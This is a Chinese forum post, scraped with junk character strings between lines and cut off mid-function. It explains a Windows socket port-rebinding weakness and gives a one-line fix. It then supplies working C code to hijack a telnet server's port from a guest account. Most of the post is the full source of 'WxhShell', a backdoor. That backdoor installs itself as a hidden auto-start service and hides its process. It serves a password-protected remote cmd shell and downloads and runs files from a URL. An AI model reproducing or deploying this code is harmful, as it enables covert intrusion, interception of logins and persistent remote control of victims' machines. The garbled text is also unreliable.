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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ow]n)Te s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H:p(C?tk{ X8?|5$Ey saddr.sin_family = AF_INET; i[WTp??Uv BA
L!6 saddr.sin_addr.s_addr = htonl(INADDR_ANY); S(/@.gI:f 5E}0<& bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 8 rnr>Ee@ $6ITa }o 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Ml0d^l}' p2w/jJMD 这意味着什么?意味着可以进行如下的攻击: X @r5^A[9 :t9(T?2 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 SE%i@} A}[Lk#|n 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) eN,m8A`/S ka"jv"z 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ilpg() P'Rr5Xa 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 sOVaQ&+y ];j8vts& 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 NE3G!qxL ITq+Hk
R 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :n>:*e@w% .DCp)&m
l; 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7.akp |
M-@Qvgh #include C,jPr )6) #include .{)b^gE #include YQe @C #include @WFjM DWORD WINAPI ClientThread(LPVOID lpParam); ;2%3~L8?V int main() x"U/M?l { c( gUH WORD wVersionRequested; H$\?D+xlf DWORD ret; ~+^,o_hT WSADATA wsaData; 2yeq2v BOOL val; 5F&i/8Ib SOCKADDR_IN saddr; v }P~g SOCKADDR_IN scaddr; =ngu*#?c4 int err; I%{U~ SOCKET s;
'6
w|z^ SOCKET sc; K\n %&w int caddsize; $0cMrf@ HANDLE mt; 2NE/ZqREg DWORD tid; +$8hTi, wVersionRequested = MAKEWORD( 2, 2 ); =fG(K!AQ err = WSAStartup( wVersionRequested, &wsaData ); VwtGHF' if ( err != 0 ) { EA?:GtH printf("error!WSAStartup failed!\n"); Fd|:7NRA< return -1; yHT}rRS8 } Ig$5Ui saddr.sin_family = AF_INET; /?2yo{Fg EKwS~G.b! //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 '[Nu;(>a APK@Oq saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); S,Tm=} wj saddr.sin_port = htons(23); ;zz"95X7 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;x+4jpH]B { B}r@x z printf("error!socket failed!\n"); Xb|hP return -1; t@)~{W
{ } Y^3tk}yru val = TRUE; 7W}~c/ % //SO_REUSEADDR选项就是可以实现端口重绑定的 !K`;fp! if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7"8HlOHA { /D)@y548~~ printf("error!setsockopt failed!\n"); Gg,,qJO return -1; t(}&<<1Bz } xB9^DURr\ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <<n8 P5pXt //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 P[gk9{sv //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?A2EuvQH] 7d'@Z2%J0 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) hM>xe8yE { ,QG,tf? ret=GetLastError(); d@#=cvW printf("error!bind failed!\n"); :Z1_;`>CT return -1; (v(_XlMK } y>wr $ listen(s,2); A3 j>R477A while(1) ]G|@F
: { _#N~$ caddsize = sizeof(scaddr); '@pav>UPD //接受连接请求 iW |]-Ba\ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ncS^NH(& if(sc!=INVALID_SOCKET) s'LG3YV-< { vz@QGgQ9~2 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); dcXtT3,kpX if(mt==NULL) ugMJ}IGq { LM*9b printf("Thread Creat Failed!\n"); EH4WR/x break; ,[cWG)- } uOougSBV, } )Dqv&^ CloseHandle(mt); P#EqeO } b[BSUdCB closesocket(s); yChC&kX
Z+ WSACleanup(); -,XS2[ return 0; ~r>WnI:vg } 's&Vg09D, DWORD WINAPI ClientThread(LPVOID lpParam) dIM:U:c { @?e;Jp9 SOCKET ss = (SOCKET)lpParam; y{jv-&!xB SOCKET sc; tP3H7Yl!g unsigned char buf[4096]; XP{ nf9& SOCKADDR_IN saddr; tgrQ$Yjk long num; %*jpQOw
DWORD val; <`MHra8 DWORD ret; Odbjl[>k //如果是隐藏端口应用的话,可以在此处加一些判断 MfYe @;m //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 L^ +0K}eD saddr.sin_family = AF_INET; :mg#&MZj< saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
KJ(zLwQ: saddr.sin_port = htons(23); *>\RGL;]8 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) TOBAh.1 { t^h>~o'\ printf("error!socket failed!\n"); Oe;9[=L[ return -1; RmzK?muk } z<AQ;b val = 100; +<3tv&" if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4|XE
f, { kxf'_Nzy ret = GetLastError(); MhJ`>.z1
return -1; A\SbuRty } 65<p: if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9_TZ;e { ("{AY?{{ ret = GetLastError(); gu"Agct4 return -1; >,~JQ%1 } pq4+n'uO if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [&Qrk8EN { !XtbZ- printf("error!socket connect failed!\n"); kB~: HQf closesocket(sc); `NGCUGQ_7 closesocket(ss); moc_}( return -1; *XNvb ^< } n
P 69W while(1) SS H/q/ { ^&cI+xZ2Y //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !CsoTW9C: //如果是嗅探内容的话,可以再此处进行内容分析和记录 [[bMYD1eO //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 pf2$%lE num = recv(ss,buf,4096,0); @<w$QD if(num>0) C6/,-?%) send(sc,buf,num,0); =-vk}O0C else if(num==0) Ky$<WZs break; #}B~V3UD num = recv(sc,buf,4096,0); N>gv!z[E if(num>0) 9MGA#a send(ss,buf,num,0); 1nvs51?H else if(num==0) )W c#?K break; ]Mtb~^joG } VW'e&v1 . closesocket(ss); no; Yu closesocket(sc); 4q~l?*S return 0 ; ['sIR+c%'O } %r|fuwwJO rZDKVx "b} ^xy ========================================================== ;f6G&>p ,a?em'= 下边附上一个代码,,WXhSHELL [#)$BXG~y os#j;C]l ========================================================== n*-#VKK^ hz )L+ #include "stdafx.h" v3~,1)#aI Nf$Y-v?i #include <stdio.h> VF6@;5p
#include <string.h> L5eaQu #include <windows.h> g3Ff<P P #include <winsock2.h> Ujw^j #include <winsvc.h> SIbQs8h]
#include <urlmon.h> ){gO b YF."D%? #pragma comment (lib, "Ws2_32.lib") G\Sd!'?p #pragma comment (lib, "urlmon.lib") +z9;BPw% -/FCd( #define MAX_USER 100 // 最大客户端连接数 /e\}
qq #define BUF_SOCK 200 // sock buffer C#vh2' #define KEY_BUFF 255 // 输入 buffer 8U=M.FFp k*^.-v #define REBOOT 0 // 重启 fzw6VGTf #define SHUTDOWN 1 // 关机 ZtB0:'o; A
#ZaXu/:X #define DEF_PORT 5000 // 监听端口 N%>/
e'( [q_Yf!(m- #define REG_LEN 16 // 注册表键长度 'kYV}rq;l #define SVC_LEN 80 // NT服务名长度 CZ1tqAk- g#Yqw // 从dll定义API &A%#LVjf typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~;U!? typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o5zth^p[ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ue-HO typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~~kIA"U lr^- // wxhshell配置信息 $\0j:<o struct WSCFG { %OW[rbE. int ws_port; // 监听端口 E{lq@it32p char ws_passstr[REG_LEN]; // 口令 !fz`O>-mZ int ws_autoins; // 安装标记, 1=yes 0=no x)V.^- char ws_regname[REG_LEN]; // 注册表键名 /$ L;m char ws_svcname[REG_LEN]; // 服务名 MA"iM+Ar char ws_svcdisp[SVC_LEN]; // 服务显示名 E<~/AReo char ws_svcdesc[SVC_LEN]; // 服务描述信息 \@I.K+hj$ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h=)Im) int ws_downexe; // 下载执行标记, 1=yes 0=no v*#Z{)r char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" tT'd] char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +Mg^u-(A <2,@rYe/ }; I,?bZ&@8 36lIV,YnU // default Wxhshell configuration [i&z_e) struct WSCFG wscfg={DEF_PORT, (U-p&q>z "xuhuanlingzhe", 8f29Hj+ 1, b8QW^Z "Wxhshell", ?u8+F "Wxhshell", d(fgv "WxhShell Service", l:faI&o.@ "Wrsky Windows CmdShell Service", b6]M}ixK "Please Input Your Password: ", ]kc_wFT< 1, xaSkn " http://www.wrsky.com/wxhshell.exe", f1\x>W4z~\ "Wxhshell.exe" Jr1^qY`0+ }; R %}k52` 0<i~XN0g // 消息定义模块 g"zk14' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; eKu&_q char *msg_ws_prompt="\n\r? for help\n\r#>"; 2RM1-j
($ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; HWe.|fH: char *msg_ws_ext="\n\rExit."; rJNf&x%6 char *msg_ws_end="\n\rQuit."; Q/0}AQO char *msg_ws_boot="\n\rReboot..."; UayRT#}] char *msg_ws_poff="\n\rShutdown..."; sCnZ\C@u char *msg_ws_down="\n\rSave to "; Z{ p;J^: iJsw:Nc char *msg_ws_err="\n\rErr!"; h`n>6I char *msg_ws_ok="\n\rOK!"; a(}jn| 6+LXoR' char ExeFile[MAX_PATH]; XK&#K? M int nUser = 0; 6tnAE': HANDLE handles[MAX_USER]; 8#oF7eE int OsIsNt; 89 SsS b _$Fi]l!f SERVICE_STATUS serviceStatus; auGt>,Zj\Q SERVICE_STATUS_HANDLE hServiceStatusHandle; 2y<d@z:K R6M@pO // 函数声明 yp :yS int Install(void); xr6Q5/p1 int Uninstall(void); |d:URuG~:I int DownloadFile(char *sURL, SOCKET wsh); _Juhl^LM; int Boot(int flag); 33u7 void HideProc(void); uAJ_`o[ int GetOsVer(void); }!.7QpA$ int Wxhshell(SOCKET wsl); !C/`"JeYL void TalkWithClient(void *cs); )p!dqlK int CmdShell(SOCKET sock); sH&8"5BT% int StartFromService(void); #b8/gRfS int StartWxhshell(LPSTR lpCmdLine); C{>?~@z&5 |kVxrq VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m+vwp\0 VOID WINAPI NTServiceHandler( DWORD fdwControl ); p=r{ODw#3 =h&^X>! // 数据结构和表定义 1r.q]^Pq~ SERVICE_TABLE_ENTRY DispatchTable[] = S"_vD<q { _VM J q9. {wscfg.ws_svcname, NTServiceMain}, ev+NKUi= {NULL, NULL} ~S=hxKI }; w{UU( wTTQIo60 // 自我安装 LpF6e9V\Wp int Install(void) (/N`Wu { tdt6* char svExeFile[MAX_PATH]; F,EHZ,<V HKEY key; =0v{+#} strcpy(svExeFile,ExeFile); DSnsi@Mi +B&FZ4' // 如果是win9x系统,修改注册表设为自启动 Rdv"Aj: if(!OsIsNt) { m1`ln5(R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Nd6N:1- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VLOyUt~O# RegCloseKey(key); SE/@ li if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2OZdj RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nF//y} RegCloseKey(key); 4<O[d return 0; *'`-plS7 } ph|3M<q6 }
\(A>~D8Fo } */S,CV else { ^^%*2^ >%W"u`Q // 如果是NT以上系统,安装为系统服务 m\k$L7O SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !-7(.i - if (schSCManager!=0) y[$e]N { 55[K[K SC_HANDLE schService = CreateService w!xSYh') ( b0&dpMgh: schSCManager, 66BsUA.h wscfg.ws_svcname, iI_Fbw8 wscfg.ws_svcdisp, z#-&M J SERVICE_ALL_ACCESS, `"D7XC0x SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8m6L\Z&
SERVICE_AUTO_START, _]Hn:O"o SERVICE_ERROR_NORMAL, %b_zUFHPp svExeFile, $B(B NULL, sB"]R%`_ NULL, T&{EqsI=B NULL, fNlUc NULL, }LE/{]A NULL 1f~DUku= ); gmM79^CEF if (schService!=0) w)}[)}T! { 3W27R CloseServiceHandle(schService); E]e6a^J# CloseServiceHandle(schSCManager); a1j6-p strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5^5h%~)} strcat(svExeFile,wscfg.ws_svcname); x2nNkd0h
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uH7u4f1Q RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GCIm_
n RegCloseKey(key); 'DKP-R" return 0; 0ogTQ`2Z: } #q=?Zu^Da } x JepDCUJ> CloseServiceHandle(schSCManager); muY4:F.C( } jgC/ } \?}ZXKuJj D!y
Cnq=8 return 1; W"~G]a+ } i|2Q}$3t2 T}zOM%]] // 自我卸载 9BF#R<}h int Uninstall(void) V862(y { 6 .*=1P*? HKEY key; $A ( #^& Y pp>7J/ if(!OsIsNt) { ;[*7UE+#7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3ldOOQW% RegDeleteValue(key,wscfg.ws_regname); WSh+5](: RegCloseKey(key); @90) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6@nE cr RegDeleteValue(key,wscfg.ws_regname); !,I}2,1%k RegCloseKey(key); 5Rc
5/ m return 0; _I75[W! } K0b(D8! } }7UE } F_@PSA+ else { t\'URpa+5% VFRUiz/C SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +A/n<VH if (schSCManager!=0) 6o
{41@v( { O.!|;)HQ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K /. ;N.9 if (schService!=0) T?Hs_u{ { 02b v0 if(DeleteService(schService)!=0) { ^e)KEkh CloseServiceHandle(schService); &i6WVNGy CloseServiceHandle(schSCManager); D4[t@*m>7 return 0; }oloMtp$ } \z0" CloseServiceHandle(schService); Q]66v$ } cgml^k\k^ CloseServiceHandle(schSCManager); td%EbxJK]` } :+Y+5:U] } 0~)cAKus F"~uu9u return 1; He~)i)co } ub7|'+5 abx/h#_q // 从指定url下载文件 <`n T+c int DownloadFile(char *sURL, SOCKET wsh) ]qvrpI!E! { [|E
93g HRESULT hr; |3QKxS0 char seps[]= "/"; l/#;GYB] char *token; @tR:}J*9s char *file; k0Rd:DxO char myURL[MAX_PATH]; !S$LRm\' char myFILE[MAX_PATH]; [y&yy|*\ Fzt{^%\` strcpy(myURL,sURL); T}M!A| token=strtok(myURL,seps); 'M VE5 while(token!=NULL) NirG99kyo { :I[nA?d[& file=token; <My4 )3 token=strtok(NULL,seps); ..)O/g. } \u9l4 >kU$bh.( GetCurrentDirectory(MAX_PATH,myFILE); >;:235'(M strcat(myFILE, "\\"); *S%~0= strcat(myFILE, file); (_Ph{IN send(wsh,myFILE,strlen(myFILE),0); h/?$~OD send(wsh,"...",3,0); (kCzz-_\ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); YHSdaocp if(hr==S_OK) `bY>f_5+ return 0; N`,ppj else aQzx^%B1 return 1; EhB0w; c ;&RBg+Pr } 0@7% ObnQ,x( // 系统电源模块 __LR!F]=i int Boot(int flag) =hL;Q@inb { Kg?(Ax4 HANDLE hToken; /u?ZwoTzY TOKEN_PRIVILEGES tkp; (qo
?e2K @$mh0K> if(OsIsNt) { w>S;}[fM OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); eO%w
i.Q LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %JoHc? tkp.PrivilegeCount = 1; BRSIg] tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >L4q>S^v AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bbNN$-S| if(flag==REBOOT) { ~xPU#m< if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9696EQ,I return 0; f(S9>c2 } }ZqnsLu[) else { %/; *Ewwb if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W?TvdeBx return 0; -<0xS.^ } h8XoF1wuw } TF_wT28AU2 else { 8f`r!/j if(flag==REBOOT) { H^ds<I<) if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @V}!elV return 0; FHbyL\Q } >bRoQ8 else { +khVi} if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :;Xh`br return 0; {e!3|&AX } p!/!ZIo } 3-Bz5sj9 tNvjwgV\ return 1; D]=V6l= } l~Hu#+O nPW=m`jG // win9x进程隐藏模块 MX7Y1 void HideProc(void) B=}s7$^ { FFtB# #J'V,_wH HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
MFyi#nq if ( hKernel != NULL ) :@4+ } { Ak kth*p pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }v xRjO, ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f4;V7DJ FreeLibrary(hKernel); vd9PB N } k
1lK`p O03N$Jq
A return; P"{yV?CNg } De
([fC 9fy[%M // 获取操作系统版本 ;$vVYC int GetOsVer(void) f"-3'kqo { 3Yf~5csY OSVERSIONINFO winfo; &3Ry0?RET winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V'FKgzd GetVersionEx(&winfo); O/.8;.d;4Y if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G%fXHAs .+ return 1; 4axuE] else Tmk'rOg5 return 0; ,(B/R8ZF~ } #y8Esik I6i qC"BK // 客户端句柄模块 kl|m @Nxp int Wxhshell(SOCKET wsl) A;TNR { zmg
:Z p= SOCKET wsh; TB_OFbI2 struct sockaddr_in client; RF
[81/w] DWORD myID; V#+M lN <9[>+X while(nUser<MAX_USER) qFp]jbU { Tdxc%'l int nSize=sizeof(client); p#N2K{E wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f3*SIKi if(wsh==INVALID_SOCKET) return 1; XzW\p8D^u WtlLqD!_D handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4|hfzCjMI if(handles[nUser]==0) [33=+Ca closesocket(wsh); 3
jghV?I{T else _=K\E0I.m nUser++; }}LjEOvL= } ?]\v%[ho WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^3C%& q4niA return 0; #<5i/5& } z
J V>; BO>[\!=y // 关闭 socket 6n^vG/.M void CloseIt(SOCKET wsh) |~+bbN|b { Nkx W*w%}l closesocket(wsh); KkSv23In nUser--; -yMD9b ExitThread(0);
A/OGF> } *X2dS
{ v{) *P.E // 客户端请求句柄 -l<[CI void TalkWithClient(void *cs) U3p Mv|b { 5ZjM:wrF| /<\do 1 SOCKET wsh=(SOCKET)cs; 3JZ9 G79H char pwd[SVC_LEN]; J6J;
!~>_ char cmd[KEY_BUFF]; 4Z/]7Ie char chr[1]; ?V})2wwP int i,j; 4x$Ts %] !I Byv%m&\ while (nUser < MAX_USER) { | EFbT> $kh6-y@ if(wscfg.ws_passstr) { #rx@
2zi if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '.zr:l //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^oZD44$ //ZeroMemory(pwd,KEY_BUFF); $u{ 8wF/) i=0; <a=k"'0 while(i<SVC_LEN) { Es+BV+x[.c ANd#m9(x // 设置超时 B3yp2tncj fd_set FdRead; k^\>=JTq= struct timeval TimeOut; I< Rai" FD_ZERO(&FdRead); FhMl+Ou
FD_SET(wsh,&FdRead); -;U3$[T,J7 TimeOut.tv_sec=8; -42jeJS TimeOut.tv_usec=0; 5OX5\#Ux int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?)XPY< if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
!\_li+ g/ x\#W if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]39A1&af} pwd =chr[0]; O\zGN/! if(chr[0]==0xd || chr[0]==0xa) { [X=Ot#?u ~ pwd=0; 8(0q,7)y break; fAV=O%^ } .p(~/MnO i++; <@:LONe< } 2~SjRIp Uw x 0x/2re // 如果是非法用户,关闭 socket }5sJd>u5^ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "K-2y^Dl } 6WX+p3Kv Y7
`i~K; send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |DMa2}% send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X8=sk -(+/u . while(1) { &l NHNu[ cakb.Q ZeroMemory(cmd,KEY_BUFF); ~85Pgb< 3re|=_
Hy // 自动支持客户端 telnet标准 '74-rL:i j=0; 7ezf.[{R while(j<KEY_BUFF) { rocG;$[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VC@{cVT cmd[j]=chr[0]; QGV~Y+ if(chr[0]==0xa || chr[0]==0xd) { >E`p@
e+ cmd[j]=0; XK4idC break; y!?l;xMS } ghd*EXrF
H j++; , *A', } TGe{NUO K@zzseQ}= // 下载文件 s8]9OG3g if(strstr(cmd,"http://")) { aPMqJ#fIr send(wsh,msg_ws_down,strlen(msg_ws_down),0); P ME
?{%& if(DownloadFile(cmd,wsh)) NuqWezJm& send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^N5BJ'[F: else XABI2Ex send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `Vqpo/ } xW;-=Q else { BI,j/SRK 5B'};AQ switch(cmd[0]) { N{<=s]I%x :}Tw+S5 // 帮助 ,S i23S\ case '?': { jWd 7 >1R? send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '<C I^5^ break; )TBG-<wt } FV&& // 安装 N +9`'n^x case 'i': { u8Au ` if(Install()) "gD)Uis send(wsh,msg_ws_err,strlen(msg_ws_err),0); nKJJ7 RL else 12Hy.l send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >~5>)yN_a1 break; j6~#_t[ } Ny>tJ~I // 卸载 T/"6iv\1 case 'r': { ~5HI9A4^ if(Uninstall()) c D+IMlT send(wsh,msg_ws_err,strlen(msg_ws_err),0); rZDlPp>BPZ else #KonVM(` send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mACj>0Z' break; !TRJsL8 } _-*Lj;^V // 显示 wxhshell 所在路径 n:GK0wu.s
case 'p': { .pgTp X char svExeFile[MAX_PATH]; f!~gfnn strcpy(svExeFile,"\n\r"); dFF [2 strcat(svExeFile,ExeFile);
L[d7@ send(wsh,svExeFile,strlen(svExeFile),0); 9&=~_,wJd break; zQ$*!1FmN } Nw}y_Qf{ // 重启 32=Gq5pOc case 'b': { ;$G.?r send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XQhBnam%
if(Boot(REBOOT)) bmotR8d send(wsh,msg_ws_err,strlen(msg_ws_err),0);
]k%Yz@*S else { *]fBd<(8 closesocket(wsh); 0+0+%#? ExitThread(0); LqTyE } 8?4j- break; [0D( PV(n } yVm~5Y&Z // 关机 Vh:%e24Z case 'd': { #J]u3*Tn| send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); maLKUSgo if(Boot(SHUTDOWN)) ^o]ZDc send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7z"xjA else { 1Fn+nDnO6 closesocket(wsh); mvI[=e* ExitThread(0); TdI5{?sW } &}S#6|[i break; %^m6Q! } -$L53i&R // 获取shell pGz-5afL case 's': { _*1/4^ CmdShell(wsh); l;:
L0((' closesocket(wsh); Z9s tB>? ExitThread(0); Ns2M8 break; 8*3<Erv } ua*k{0[ // 退出 !@!,7te case 'x': { BEyg63= send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C)`k{(-{ CloseIt(wsh);
z%;b-PpS break; SsfnBCVR } yHl1:cf(y // 离开 "o/:LCE case 'q': { 7jT]J send(wsh,msg_ws_end,strlen(msg_ws_end),0); ./LD closesocket(wsh); ^$SI5WK&) WSACleanup(); V} Y %9V exit(1); LFob1HH*8 break; o ^L3Xiv } >6Y\CixN } |GtTz& } <Yu}7klJE jXkz,]Iy // 提示信息 NARW3\ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r7/y'Y]O } $-m@cObw!. } oCdWf63D 7A?~a_Ep return; tM]~^U } .}S9C]d:a rvuskXdo // shell模块句柄 {^2``NYM_ int CmdShell(SOCKET sock) xtYX}u { f/RzE STARTUPINFO si; 4%1sOnl ZeroMemory(&si,sizeof(si)); ya3A^&: si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PjNOeI@G si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I}Uj"m`> PROCESS_INFORMATION ProcessInfo; /)Bk
r/ char cmdline[]="cmd"; R!b<Sg CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |uId:^{ return 0; % 1ZJi}~ } Aq%TZ_m ec+&K?T // 自身启动模式 XQ]no aU int StartFromService(void) T Z{';oU { w%R(*,r6 typedef struct \,)('tUE { t?f2*N: DWORD ExitStatus; @S\!wjl]C DWORD PebBaseAddress; OjTb2[Q DWORD AffinityMask; p;cNmMm DWORD BasePriority; <VI.A" Qk~ ULONG UniqueProcessId; =V~pQbZ ULONG InheritedFromUniqueProcessId; T#kPn#| } PROCESS_BASIC_INFORMATION; low
0@+Q N,fEta6 PROCNTQSIP NtQueryInformationProcess; _ K["qm{X_ wm~35cF( static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; NQ~keN static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7pf]h$2 fNe9as HANDLE hProcess; }-Q FMPXhG PROCESS_BASIC_INFORMATION pbi; Kab"r_' T1AD(r\W5 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C$?gt-tJ' if(NULL == hInst ) return 0; __N<
B5E =y+gS%o$ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); & -L$B
